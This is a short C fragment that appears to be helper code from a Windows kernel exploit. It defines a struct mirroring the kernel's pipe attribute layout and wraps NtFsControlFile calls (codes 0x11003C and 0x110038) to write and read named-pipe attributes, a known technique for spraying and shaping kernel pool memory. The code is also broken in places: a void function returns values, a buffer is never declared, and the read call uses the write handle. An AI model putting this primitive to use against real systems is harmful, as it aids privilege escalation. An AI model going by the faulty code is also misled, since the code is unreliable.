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struct PipeAttribute {
LIST_ENTRY list;
char * AttributeName;
uint64_t AttributeValueSize ;
char * AttributeValue ;
char data [0];
};
typedef struct {
HANDLE read;
HANDLE write;
} PIPES;
void pipe_init(PIPES* pipes) {
if (!CreatePipe(&pipes->read, &pipes->write, NULL, 0x1000)) {
printf("createPipe fail\n");
return 1;
}
return 0;
}
int pipe_write_attr(PIPES* pipes, char* name, void* value, int total_size) {
size_t length = strlen(name);
memcpy(tmp_buffer, name, length + 1);
memcpy(tmp_buffer + length + 1, value, total_size - length - 1);
IO_STATUS_BLOCK statusblock;
char output[0x100];
int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
&statusblock, 0x11003C, tmp_buffer, total_size,
output, sizeof(output));
if (!NT_SUCCESS(mystatus)) {
printf("pipe_write_attr fail 0x%x\n", mystatus);
return 1;
}
return 0;
}
int pipe_read_attr(PIPES* pipes, char* name, char* output,int size) {
IO_STATUS_BLOCK statusblock;
int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
&statusblock, 0x110038, name,strlen(name)+1,
output, size);
if (!NT_SUCCESS(mystatus)) {
printf("pipe_read_attr fail 0x%x\n", mystatus);
return 1;
}
return 0;
}
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